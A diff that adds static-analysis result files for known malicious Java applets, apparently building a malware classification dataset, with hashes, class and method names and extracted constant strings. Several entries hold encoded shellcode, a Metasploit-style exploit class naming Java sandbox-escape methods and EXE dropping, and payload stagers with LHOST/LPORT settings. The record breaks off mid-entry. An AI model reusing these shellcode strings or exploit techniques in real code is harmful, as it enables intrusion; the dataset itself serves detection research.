"39083ad9-33d1-4c25-a6b3-22e3008ecdf9", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IL,PZ,0n,pN,pl,Pn,pl,PN,p9,yk,Ku,Pg,pG,pQ,OC,To,QF,Pu,Pw,pw,pn,k3,pT,Ll,KP,pe,Ll,ml,KQ,xE,pM,Pc,M4,Lf,SD,4e,SO,fX,ky,cL,K5,8w,xN,kJ,WB,Ju,TR,yK,Xn,oW,p7,pU,PK,Rx,yq,xr,Op,nG,p7,p3,Xt,50,r2,Lr,Mr,tk,O6,vL,Ki,xY,xs,I5,Pu,P5,Pl,KN,7r,gK,05,oW,pp,uX,zr,gS,gQ,Wk,0W,OW,p3,EK,JN,kJ,OQ,O0,3O,9m,QJ,LU,Tu,QW,pu,PL,Ky,LS,av,2p,SU,8G,tf,ae,PU,Py,or,vt,L0,Zp,Yr,qv,2n,kc,2P,Sp,Co,pU,kw,pd,5k,JM,Qs,Kk,LT,nP,ed,8e,54,5E,SM,SH,kS,8m,Yc,3O,7W,3U,TF,Nu,5b,Xb,EO,6P,CT,He,P1,KO,zY,QV,dp,0N,h0,EU,PP,3i,PV,00,PS,cr,wR,pk,OF,6V,pM,SY,hG,p2,Us,6B,JS,1r,sy,oB,vt,D2,zB,yN,cy,Ru,Tw,1m,Pg,J7,pr,UO,DK,Ov,6v,hr,qp,Vn,kP,u5,ll,KP,t5,et,8f,cx,u0,Vl,KP,vW,P3,3k,E5,cK,yW,9Q,QN,Mv,co,5f,S9,Kf,oo,Nt,PT,xz,Rr,Tu,XZ,ax,KF,mt,Cy,JC,px,kh,q7,KU,OP,uZ,Gc,nN,k1,Nt,de,SK,mq,vL,Kf,lP,Kn,ks,nw,lS,3I,ML,KW,tN,kU,Sk,un,Kq,N0,Yz,ck,X5,Pk,Oy,oy,on,nP,Nv,nZ,LN,xy,nl,J4,Ns,Nz,xI,rr,Sf,S9,ZN,j1,Kt,vd,ZT,od,0q,hs,Qs,Xq,sU,PQ,xP,t0,tD,0W,Jv,O4,o0,eQ,hb,T1,u2,Rp,nQ,qP,lT,nU,9s,WP,nb,OP,rS,U2,L2,Ic,Cr,Tt,nQ,sb,O2,M4,or,Ir,Np,fr,Ov,Od,5R,Se,af,Nu,8b,TR,Mp,lv,Op,np,0F,P0,ap,1D,pu,ft,rP,0F,Qp,3p,1P,8p,rp,0d,pf,Pc,S3,zt,pP,eP,0p,00,0W,FF,PD,q3,bV,RQ,qb,DU,5p,80,8d,p4,rr,wr,E3,Se,ev,VE,iQ,v7,B4,w0,XS,Tc,Qd,yS,UP,4v,Wa,rP,c0,Yu,iT,qp,4D,sp,fB,Df,Tu,fQ,JV,PT,qD,pF,Pp,f6,P4,xp,0u,PC,0A,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e6adb73f7160ca3ff1ad99568188dae9a56afa01", "file_name": "java_malicious/9b5f5981446252edfb1406b9c61b37f894d08ab5ed1a5ae0cd5fb29873f6778c", "_id": "39083ad9-33d1-4c25-a6b3-22e3008ecdf9", "score": 0, "entropy": 5.982302032330905, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3117, "ssdeep": "96:hFFlbG0rNXGJw/U21p9TlRxC92XQjt9bKsCn:1lbGKXGJtspPRxEkQpRKx", "sha256": "9b5f5981446252edfb1406b9c61b37f894d08ab5ed1a5ae0cd5fb29873f6778c", "md5": "0199e6555cac80d501d0e385556563e5", "parent_sha256": "9b5f5981446252edfb1406b9c61b37f894d08ab5ed1a5ae0cd5fb29873f6778c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/9b7397582e4b4b84906e23c360bb6f1e84c1eddd0fe1557484c4736d2c9381c8.results b/java_classification/data/malicious/9b7397582e4b4b84906e23c360bb6f1e84c1eddd0fe1557484c4736d2c9381c8.results new file mode 100755 index 0000000..b3ff2f7 --- /dev/null +++ b/java_classification/data/malicious/9b7397582e4b4b84906e23c360bb6f1e84c1eddd0fe1557484c4736d2c9381c8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "dc98e742.java", "class_name": "dc98e742", "access_permissions": ["ACC_PUBLIC"], "major_version": 45, "method_names": ["insert", ""], "minor_version": 3, "const_pool_count": 78}}, "_id": "26674881-e5a2-468d-ad3c-d1e41b253696", "metadata": {"mimetype": "application/x-java-applet", "sha1": "d4402902cc9ffc0e54d025e91ece0b019f2b04ad", "file_name": "java_malicious/9b7397582e4b4b84906e23c360bb6f1e84c1eddd0fe1557484c4736d2c9381c8", "_id": "26674881-e5a2-468d-ad3c-d1e41b253696", "score": 0, "entropy": 5.5831469969165175, "libmagic": "compiled Java class data, version 45.3", "file_size": 2780, "ssdeep": "48:US8oM/AqFIzAIpc0ralueDpojj7v9kUmibM3JjBukVQbNuYBqnGrpoR:r3z19uua+7V3RAZj3VQbNuYbrpoR", "sha256": "9b7397582e4b4b84906e23c360bb6f1e84c1eddd0fe1557484c4736d2c9381c8", "md5": "a757d3a7a156ed38e2a0eb7198bc4c48", "parent_sha256": "9b7397582e4b4b84906e23c360bb6f1e84c1eddd0fe1557484c4736d2c9381c8"}} \ No newline at end of file diff --git a/java_classification/data/malicious/9c4c9dfd38fc8d1dd257136b8daadfaaf5a84bf4a2386b48544df06282794989.results b/java_classification/data/malicious/9c4c9dfd38fc8d1dd257136b8daadfaaf5a84bf4a2386b48544df06282794989.results new file mode 100755 index 0000000..6a6328d --- /dev/null +++ b/java_classification/data/malicious/9c4c9dfd38fc8d1dd257136b8daadfaaf5a84bf4a2386b48544df06282794989.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "oEnso.java", "class_name": "ZTGTMeuuo/oEnso", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "RRDjfo", "jzkEhv", "hwkhtgzt", "RwQekwrRu", "FQeZk"], "minor_version": 0, "const_pool_count": 213}}, "_id": "e3f55c47-ac7b-4d75-8987-d56dd72b2d72", "verbose": {"java": {"constant strings": ["775"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b7a846d7688fcbc358df7f2bfa5e007247ac8804", "file_name": "java_malicious/9c4c9dfd38fc8d1dd257136b8daadfaaf5a84bf4a2386b48544df06282794989", "_id": "e3f55c47-ac7b-4d75-8987-d56dd72b2d72", "score": 0, "entropy": 5.604671748204997, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3774, "ssdeep": "48:j2HZBFCNyFl6Bgv7p2vz5saLGhsHi93IjmGQTMTATeXU9p1Q7Y3akytJBmE6hlOM:jMZOoFl6yv7EvavRpckytJwnjOMwa", "sha256": "9c4c9dfd38fc8d1dd257136b8daadfaaf5a84bf4a2386b48544df06282794989", "md5": "bd99545343ef6a90a4c8f47f33b0b132", "parent_sha256": "9c4c9dfd38fc8d1dd257136b8daadfaaf5a84bf4a2386b48544df06282794989"}} \ No newline at end of file diff --git a/java_classification/data/malicious/9e0d23c59e9c4b398633b44c4135529d8d9f8154dbcc26bdc4ca1f160da7475c.results b/java_classification/data/malicious/9e0d23c59e9c4b398633b44c4135529d8d9f8154dbcc26bdc4ca1f160da7475c.results new file mode 100755 index 0000000..8987246 --- /dev/null +++ b/java_classification/data/malicious/9e0d23c59e9c4b398633b44c4135529d8d9f8154dbcc26bdc4ca1f160da7475c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "BeanHiveFrame", "access_permissions": [], "interfaces": ["java/awt/event/ActionListener"], "sourcefile": "BeanHiveFrame.java", "method_names": ["init", "actionPerformed", ""], "minor_version": 3, "const_pool_count": 100}}, "_id": "0d5b44d1-5f4f-4ef9-826f-3a3c59c8b759", "verbose": {"java": {"constant strings": ["*.class", "Infect a File", "class"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "56defa25f2e146540380ac8ccb88630002382f4e", "file_name": "java_malicious/9e0d23c59e9c4b398633b44c4135529d8d9f8154dbcc26bdc4ca1f160da7475c", "_id": "0d5b44d1-5f4f-4ef9-826f-3a3c59c8b759", "score": 0, "entropy": 5.401290621045396, "libmagic": "compiled Java class data, version 45.3", "file_size": 1380, "ssdeep": "24:cSTUOHB1OfkII0LlDWu/+Ep2xNP7vKkxXTK9M+COS9fN1gaqHqYUGc+:LQOh1Ocx0ou/Zg2eDQM+Cb1W/Uh+", "sha256": "9e0d23c59e9c4b398633b44c4135529d8d9f8154dbcc26bdc4ca1f160da7475c", "md5": "6974dc16d34f1fa41c0fb2a4753f8e9c", "parent_sha256": "9e0d23c59e9c4b398633b44c4135529d8d9f8154dbcc26bdc4ca1f160da7475c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/9e3801218cb050fdd04346bb7c6c959869d95479fb550639af1d8632e1bab3ba.results b/java_classification/data/malicious/9e3801218cb050fdd04346bb7c6c959869d95479fb550639af1d8632e1bab3ba.results new file mode 100755 index 0000000..9e47e31 --- /dev/null +++ b/java_classification/data/malicious/9e3801218cb050fdd04346bb7c6c959869d95479fb550639af1d8632e1bab3ba.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "web", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["main", "", "hMhMMwvBeRbrI"], "minor_version": 0, "const_pool_count": 279}}, "_id": "44ec457e-c6d2-4716-b558-f60486733c2f", "verbose": {"java": {"constant strings": ["", "7g\\x11k\\x1dc\\x15d\\x12}\\x0bo\\x19h\\x1eg\\x11k\\x1dc\\x15d\\x12}\\x0bo\\x19h\\x1eg\\x11k\\x1dc\\x15d\\x12}\\x0bo\\x19h\\x1eg\\x11k\\x1dc\\x15M\\x12~\\x08l\\x1ak\\x1dd\\x12h\\x1e`\\x16g\\x11~\\x08l\\x1ak\\x1dd\\x12h\\x1e`\\x16g\\x11~\\x08l\\x1ak\\x1dd\\x12h\\x1e`\\x16g\\x11~\\x08l\\x1ah7g\\x12h\\x1e`\\x16g\\x11~\\x0bo\\x1ah\\x1dd\\x12k\\x1e`\\x16g\\x12}\\x08o\\x19h\\x1dg\\x11k\\x1ec\\x15g\\x11}\\x0bo\\x1ak\\x1dd\\x12h\\x1e`\\x15M\\x12~\\x08l\\x1ak\\x1dd\\x11h\\x1d`\\x15g\\x11~\\x0bl\\x1ak\\x1ed\\x11h\\x1ec\\x16g\\x12~\\x0bl\\x19k\\x1ed\\x12k\\x1e`\\x16g\\x11~\\x08l\\x1ah7g\\x12h\\x1e`\\x16g\\x11}\\x0bo\\x1ah\\x1dd\\x12k\\x1e`\\x16d\\x12}\\x08l\\x19k\\x1dg\\x12k\\x1ec\\x15g\\x11~\\x0bl\\x1ak\\x1dd\\x12h\\x1e`\\x15M\\x12~\\x08l\\x1ak\\x1dd\\x11h\\x1d`\\x15d\\x12~\\x0bo\\x19k\\x1ed\\x11h\\x1ec\\x16g\\x12}\\x0bl\\x19k\\x1ed\\x11k\\x1d`\\x16g\\x11~\\x08l\\x1ah7g\\x12h\\x1e`\\x16g\\x11~\\x08l\\x1ak\\x1dd\\x12h\\x1e`\\x16g\\x11~\\x08l\\x1ak\\x1dd\\x12h\\x1e`\\x16g\\x11~\\x08l\\x1ak\\x1dd\\x12h\\x1e`\\x15M\\x12~g.\\\\>N\\'S\\nn\\x02gu\\x1be\\x03\\x1ah7g\\x12h\\x1e`\\x16g\\x11~\\x08l\\x1ak\\x1dd\\x12h\\x1e`\\x16g\\x11~\\x08l\\x1ak\\x1dd\\x12h\\x1e`\\x16g\\x11~\\x08l\\x1ak\\x1dd\\x12h\\x1e`\\x15M\\x12~\\x08l\\x1ak\\x1dd\\x12h\\x1e`^3E.\\x12c\\x15", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "a5a98f6a-1ce1-448e-b3eb-db72e4b55af9", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pN,pz,0Z,0l,Pn,pn,pN,pj,Ik,Ku,Pg,pS,0Q,OQ,tm,qp,0u,PG,pu,PL,Kq,P6,lL,KP,p7,lN,MN,ks,XG,PM,PQ,mv,l0,3C,DG,sM,Fz,Kz,SN,kC,XT,HL,Ki,gq,z7,tS,iM,8L,Oc,0u,PW,pZ,Bk,Is,Xp,or,NE,Pw,pa,xr,U1,br,LR,M2,tK,OV,vN,km,8k,X2,YU,PW,pW,pL,Kj,wS,wO,pg,Ou,PP,uX,zC,wp,W3,wM,PW,Og,p0,uK,JL,KH,oQ,OW,Ck,ym,Q8,lc,4e,Q5,Pe,PL,KY,Lv,13,bs,cQ,xS,4E,Q7,p7,pY,op,Vd,LQ,Jp,Yr,qv,2L,Kv,bB,sr,cm,PW,K7,pQ,eK,JO,qs,KK,Lf,Np,ec,Hp,e2,UE,SL,CZ,KE,XO,yT,CH,G3,sV,dd,nc,U4,8R,Ei,Vs,sG,xs,01,Kl,J9,QU,Td,pM,XQ,U7,pD,sK,pp,Pp,PP,SP,Wp,Pk,OP,Vf,pM,Sx,xW,pC,Eu,VR,Je,QV,3K,Of,6e,Ts,jv,9l,CO,2T,D7,1m,PV,Zw,pr,UO,DK,Oc,fe,X0,Q1,FN,kq,ee,ln,kt,4D,uB,XF,cl,56,6l,Ks,Fw,PU,SY,eV,Sz,iP,I2,an,Mw,sJ,eP,3K,kT,OO,NB,05,hL,2b,TU,XO,18,Kv,mc,3y,Jq,PJ,Kl,1w,K5,Op,uk,WQ,NN,k3,nt,dt,Ck,mq,vL,KV,lp,Kn,k1,Nw,lC,3K,mn,k6,dN,kS,3K,un,Ks,n0,YO,3k,X7,pi,oK,Oy,ol,Np,Nt,Nx,lj,8K,NO,zV,n3,N8,Xz,Bp,sD,sy,ZO,z1,K6,VW,jV,O2,PP,Lt,0a,br,Rg,pp,hR,TQ,d0,pT,zv,Od,oQ,vr,Op,nP,aa,vV,NU,3b,Ob,MF,Oq,yP,na,vp,oV,OP,ac,S2,OR,Nv,NQ,xs,DP,mp,lt,op,nT,pP,0t,r0,1p,0W,B7,CF,Pf,TP,8P,0f,Qb,Rv,Pv,Tv,PP,9s,z0,1t,r6,PV,Pp,0U,fv,P4,qv,2E,dv,Yw,Ge,cv,XT,pe,cW,Gp,Wv,PU,5s,ST,xf,RV,R6,U0,ar,xU,i6,T7,Gv,Ra,q7,Cp,84,u2,yq,tC,Vs,Qs,VP,2t,pD,r7,FQ,Jp,0p,36,PT,pe,ic,VE,c6,UU,Pw,pA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "107ffceca7666d52b88f22e7dfe9aec05cc48c79", "file_name": "java_malicious/9e3f3c6be1520871adad4a11ac8dc032ea83524953e24b544f8ebc5613c55f6a", "_id": "a5a98f6a-1ce1-448e-b3eb-db72e4b55af9", "score": 0, "entropy": 6.120852980977507, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3183, "ssdeep": "96:HFleYwyNBXhT2kCTDE2iTULNkez1zNjWZ:lleYwyHM7Q5ApnJNiZ", "sha256": "9e3f3c6be1520871adad4a11ac8dc032ea83524953e24b544f8ebc5613c55f6a", "md5": "567abe5fdf6115dd6983a106aff65a42", "parent_sha256": "9e3f3c6be1520871adad4a11ac8dc032ea83524953e24b544f8ebc5613c55f6a"}} \ No newline at end of file diff --git a/java_classification/data/malicious/9e81c62a0c3339d0995e884f7b83f751ca1c7f8a3590bb92dfc0b64d27b95364.results b/java_classification/data/malicious/9e81c62a0c3339d0995e884f7b83f751ca1c7f8a3590bb92dfc0b64d27b95364.results new file mode 100755 index 0000000..224f004 --- /dev/null +++ b/java_classification/data/malicious/9e81c62a0c3339d0995e884f7b83f751ca1c7f8a3590bb92dfc0b64d27b95364.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Exploit.java", "class_name": "msf/x/Exploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "tryJ702", "J706_GetClass", "J706_SetField", "J706_disableSecurity", "urlDownload", "tryJ706", "tryJ710", "J711_getMethod", "J711_gimmeClass", "tryJ711", "init", "class$"], "minor_version": 0, "const_pool_count": 518}}, "_id": "b4ff2883-c5fe-406a-b27b-94e613590b9f", "verbose": {"java": {"constant strings": ["tryJ702()", "tryJ702 exception with msg: ", "java.lang.Class", "forName", "sun.awt.SunToolkit", "getField", "java.lang.System", "setSecurityManager", "file:///", "java.beans.Statement", "acc", "urlDownload()", "Zachital", "Gotovo!", "tryJ706()", "tryJ706() Dropping EXE", "java.io.tmpdir", ".exe", "path: ", "tryJ706() internal exception with msg: ", "tryJ706() exception", "tryJ710()", "/msf/x/y6Fad.class", "", "sun.org.mozilla.javascript.internal.Context", "sun.org.mozilla.javascript.internal.GeneratedClassLoader", "java.lang.invoke.MethodHandle", "java.lang.invoke.MethodType", "java.lang.invoke.MethodHandles$Lookup", "findConstructor", "java.lang.String", "findVirtual", "java.lang.ClassLoader", "createClassLoader", "[B", "defineClass", "tryJ710() Dropping EXE", "tryJ710() internal exception with msg: ", "tryJ710() exception", "declaredMethods", "J711_getmethod() localException with msg: ", "com.sun.jmx.mbeanserver.MBeanInstantiator", "findClass", "tryJ711()", "/msf/x/B.class", "enter", "tryJ711() Dropping EXE", "tryJ711() internal exception with msg: ", "tryJ711() exception", "lnkdat", "jar", "lhost", "lport", "Congratalitions!!! Java 7.02", "Congratalitions!!! Java 7.06", "Congratalitions!!! Java 7.10", "Congratalitions!!! Java 7.11"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ffe6aaffc27981d34c8a12c08446e522a1de05df", "file_name": "java_malicious/9e81c62a0c3339d0995e884f7b83f751ca1c7f8a3590bb92dfc0b64d27b95364", "_id": "b4ff2883-c5fe-406a-b27b-94e613590b9f", "score": 10, "entropy": 6.180850776716186, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 11983, "ssdeep": "192:5J0/Il4HaDhP42cOr+FvKfIUojNZNVCYRLXI8uGXo6ZaUhuqp:Qw26DhP+OrqBUojNZNVCD8rXo6IFqp", "sha256": "9e81c62a0c3339d0995e884f7b83f751ca1c7f8a3590bb92dfc0b64d27b95364", "md5": "e6e2cc7fe712b5e74dc5a4c67142ee70", "parent_sha256": "9e81c62a0c3339d0995e884f7b83f751ca1c7f8a3590bb92dfc0b64d27b95364"}} \ No newline at end of file diff --git a/java_classification/data/malicious/9eed69186e182dd349cc029b162f89aea1ea9eb0f84eaaeb4e6e3a111788bdd4.results b/java_classification/data/malicious/9eed69186e182dd349cc029b162f89aea1ea9eb0f84eaaeb4e6e3a111788bdd4.results new file mode 100755 index 0000000..eece59b --- /dev/null +++ b/java_classification/data/malicious/9eed69186e182dd349cc029b162f89aea1ea9eb0f84eaaeb4e6e3a111788bdd4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "piwuoeoWrn/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "c6d42412-7771-4144-8145-5a820b105b30", "verbose": {"java": {"constant strings": ["piwuoeoWrn.Payload", ".class", "/piwuoeoWrn.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "piwuoeoWrn.dat", "URL", "", "https:", "piwuoeoWrn/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "piwuoeoWrn/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "piwuoeoWrn.PayloadTrustManager", "useFor", "java.net.URLConnection", "piwuoeoWrn.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaSCcwNCv.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9b547ff973f42b1a195c613ba03e0c6485425a60", "file_name": "java_malicious/9eed69186e182dd349cc029b162f89aea1ea9eb0f84eaaeb4e6e3a111788bdd4", "_id": "c6d42412-7771-4144-8145-5a820b105b30", "score": 0, "entropy": 6.1297181484471395, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1tbPnNtm+j9NvpvUrKYvCkgHzbDrDF:5+9f9NvZU+YvaH3B", "sha256": "9eed69186e182dd349cc029b162f89aea1ea9eb0f84eaaeb4e6e3a111788bdd4", "md5": "afbdf201f4fd78e3c4cbef0e211fbc4e", "parent_sha256": "9eed69186e182dd349cc029b162f89aea1ea9eb0f84eaaeb4e6e3a111788bdd4"}} \ No newline at end of file diff --git a/java_classification/data/malicious/9f42e581122cabf5706bfb77ce3a8e9087f155d3c8186ff8dcb637f8e1d116d2.results b/java_classification/data/malicious/9f42e581122cabf5706bfb77ce3a8e9087f155d3c8186ff8dcb637f8e1d116d2.results new file mode 100755 index 0000000..5f1a60b --- /dev/null +++ b/java_classification/data/malicious/9f42e581122cabf5706bfb77ce3a8e9087f155d3c8186ff8dcb637f8e1d116d2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 109}}, "_id": "8626c672-444d-4391-b403-76e2ee54963f", "verbose": {"java": {"constant strings": ["Y0000000000000000I1ZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IL,PN,pl,Pl,Pn,pl,PL,Pz,0x,ik,KU,PS,07,pC,o2,Dm,qP,07,pg,p7,pN,kc,pv,ln,kp,pu,LN,Ml,Kq,xQ,0o,pq,mD,LU,cP,tU,SN,vZ,Kl,3l,Ks,XU,XN,kl,72,Jw,ts,ik,XL,Ow,p5,PE,PK,RY,is,Xr,OP,nU,PW,pu,82,U0,rP,lR,M0,Tk,OR,6L,KZ,Hh,hs,Iu,Pc,0e,PL,KX,WG,7m,PU,o3,0R,UI,ja,Wc,gG,7M,PW,Ou,PS,EJ,ZN,kZ,Oa,O0,3O,9K,1j,Lf,dE,QU,PW,pn,ki,L0,Q6,2F,3U,8W,ts,15,P7,pK,O2,v6,lq,Jq,Iv,1q,Bn,kW,rp,SS,sM,PE,ks,0c,EX,zn,a1,kk,L4,nc,UP,xR,E0,uW,so,sz,Kg,xk,9U,SX,Gs,sU,T4,nU,5T,81,uK,vq,SG,xe,Ps,km,ZY,Qs,4T,pm,XW,5s,0u,ci,Pp,P2,pB,sc,gp,PK,Op,Vt,Pk,3y,hw,pr,UU,V3,Ze,QR,sK,OP,Vu,Ts,jp,YN,cy,RW,tQ,QM,Pf,Zw,pP,uL,tk,OP,Vw,xP,Qr,vL,Ka,ew,Ln,ks,DW,Ep,xc,3z,UB,vl,Kp,vq,05,S8,ut,so,9Q,Y1,Qn,M7,so,5u,cy,KF,oo,Nr,0p,8Z,RP,tu,Xo,1X,Kf,mu,S9,JC,pH,kz,Qw,K5,OB,Uh,gq,NL,Ka,Nt,dt,Cy,Mc,Vn,kV,lP,KN,kq,NW,lF,cK,ml,K3,4N,k6,ck,uN,KS,nP,Y8,C8,hE,Pk,Ok,Ok,OL,Nr,nt,Nh,lO,hI,nn,jT,Nc,N8,X9,r4,3v,SJ,jM,ZS,kU,f6,zf,Op,pP,hV,5C,vp,jB,rR,up,Ob,S7,pQ,xd,4r,TT,05,jV,Ot,op,je,9q,vr,OD,1C,Qf,NQ,yp,np,f2,O6,O0,pc,Q3,WB,ET,op,s5,82,OR,P6,Nt,0c,X2,Pf,OR,NT,pv,Pt,x4,qT,pV,VT,rD,pf,QV,ST,q7,Hd,2P,0w,Dt,pv,YQ,ZD,pS,Tt,pT,pP,0F,V0,0e,ap,RP,ff,RV,V0,a2,Fd,vW,Fa,rR,wb,BP,b1,qv,X4,tF,W4,s3,Vp,XC,Rp,bE,2G,Cu,gT,rw,Dd,xv,9p,fV,Ws,SP,et,pP,6p,a3,QR,zF,Pu,aF,PF,P5,6D,pT,xD,p3,0S,0A,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "71Z", "7QZ", "I1Z", "IQZ", "le:/", "/aac/", "fi", "X"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9b1d2762f9b87a98a7950b4847b6e84598de88b6", "file_name": "java_malicious/9f42e581122cabf5706bfb77ce3a8e9087f155d3c8186ff8dcb637f8e1d116d2", "_id": "8626c672-444d-4391-b403-76e2ee54963f", "score": 0, "entropy": 6.017949756513445, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3217, "ssdeep": "96:RwbjG9Fl7sPkQaF5366SOWLg26LNimeEu:6bjGXl7srs3NShs25meEu", "sha256": "9f42e581122cabf5706bfb77ce3a8e9087f155d3c8186ff8dcb637f8e1d116d2", "md5": "903df0ec9086d1dc1224374027bf23fd", "parent_sha256": "9f42e581122cabf5706bfb77ce3a8e9087f155d3c8186ff8dcb637f8e1d116d2"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a0404b94bdceab47496a3c31f0a2952bd2b825754e11eccf864629574e9c0452.results b/java_classification/data/malicious/a0404b94bdceab47496a3c31f0a2952bd2b825754e11eccf864629574e9c0452.results new file mode 100755 index 0000000..d25ee8e --- /dev/null +++ b/java_classification/data/malicious/a0404b94bdceab47496a3c31f0a2952bd2b825754e11eccf864629574e9c0452.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "b.java", "class_name": "b", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "", "main", "a", "b", "a", "a", "a"], "minor_version": 0, "const_pool_count": 432}}, "_id": "14e2390b-42d0-405c-9a35-2eef85fd41cb", "verbose": {"java": {"constant strings": ["", "\\n", " ", ",ksx\\x05bnb L", ")87", "\\'b", ",", "!`f*", ".", "\"`f*", "/", "#Nb+\\x07xeww", "#Nh;\\x19aoi,\\x1f#", "#Fn:\\x1emx~w", "#hn6\\x08\"nf,", "#o", "#bh+\\x18\"nf,", "#a", "MOT", "MZW\\x1c-XK", "O0[", "Efk=\\x0bmf\\'0\\ttkc=\\x0fegf4Lobf*\\ro~b*L", "AOK\\x0c", "_st,\\taNu1\\x1ai", "Y^AuT", "\\\\", "P]n6\\x08c}t\\x04?uys=\\x01?8[<\\x1ee|b*\\x1fPos;0det,\\x1f", "Phn60fkq9", "mzw<\\rxk", "mzw4\\t\"kp,BYCB4\\taoi,", "m~s*\\x05n", "hot3\\x18cz", "jck=V", "fkq9", "fkq9Bdej=", "cy)6\\rao", "~eh,CO*c*\\x05zo", "xoj(Ched-\\x01ids+L$\\x7fi1\\x14%", "xxr=", "yyb*Bdej=", "{ci"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "87e8b8d1c7f1da4629067405dd2a89523270d8c9", "file_name": "java_malicious/a0404b94bdceab47496a3c31f0a2952bd2b825754e11eccf864629574e9c0452", "_id": "14e2390b-42d0-405c-9a35-2eef85fd41cb", "score": 0, "entropy": 5.867491093796511, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 11654, "ssdeep": "192:Ki7lY+A73OwjM2qLYpqwyQGfPE8czyK8LQciUhlGIGDGLGlDWG2MPo:f7lY+A73zM2KrQ6EpyJLQtUhlGIGDGLl", "sha256": "a0404b94bdceab47496a3c31f0a2952bd2b825754e11eccf864629574e9c0452", "md5": "0d8c2821a5c9efe8a3e02702d6fb3f6a", "parent_sha256": "a0404b94bdceab47496a3c31f0a2952bd2b825754e11eccf864629574e9c0452"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a04c7c23b1b9b575dd3e901dac740686a278a489d5518b973fede5b98c789621.results b/java_classification/data/malicious/a04c7c23b1b9b575dd3e901dac740686a278a489d5518b973fede5b98c789621.results new file mode 100755 index 0000000..aeed1ed --- /dev/null +++ b/java_classification/data/malicious/a04c7c23b1b9b575dd3e901dac740686a278a489d5518b973fede5b98c789621.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "EsjdHpRZsn/HXemfYe", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "225ff4ea-b3a4-4f3a-917c-be86035d1b7f", "verbose": {"java": {"constant strings": ["EsjdHpRZsn.HXemfYe", ".class", "/EsjdHpRZsn.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "EsjdHpRZsn.dat", "URL", "", "https:", "EsjdHpRZsn/HXemfYeTrustManager.class", "HXemfYeTrustManager.class", "AESPassword", "EsjdHpRZsn/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "EsjdHpRZsn.HXemfYeTrustManager", "useFor", "java.net.URLConnection", "EsjdHpRZsn.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "HXemfYe -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", 